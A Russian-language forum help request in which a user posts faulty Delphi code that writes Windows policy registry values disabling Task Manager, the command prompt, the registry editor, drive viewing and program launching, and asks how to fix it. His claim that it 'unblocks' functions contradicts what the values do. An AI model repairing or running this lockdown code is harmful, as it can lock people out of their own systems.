[MrZerO]

всем привет вообщем есть код:

Код:

var
  reg: TRegistry;
begin
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_CURRENT_USER;
  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
  reg.WriteString('DisableTaskMgr','');
  reg.CloseKey;
  reg.Free;
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_CURRENT_USER;
  reg.OpenKey('Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer', True);
  reg.WriteString('NoViewOnDrive','a');
  reg.CloseKey;
  reg.Free;
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_CURRENT_USER;
  reg.OpenKey('Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer', True);
  reg.WriteString('RestrictRun','a');
  reg.CloseKey;
  reg.Free;
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_CURRENT_USER;
  reg.OpenKey('Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer', True);
  reg.WriteString('NoClose','a');
  reg.CloseKey;
  reg.Free;
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_CURRENT_USER;
  reg.OpenKey('Software\Policies\Microsoft\Windows\System\DisableCMD', True);
  reg.WriteString('DisableCMD','a');
  reg.CloseKey;
  reg.Free;
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_CURRENT_USER;
  reg.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools', True);
  reg.WriteString('DisableRegistryTools','a');
  reg.CloseKey;
  reg.Free;

lmikle: Предупреждение. Оформляйте код с соотв. с правилами форума.

но он не работает(данный код разблокирует некоторые функции реестра)в чем ошибка?и как данный код на одну кнопку уместить?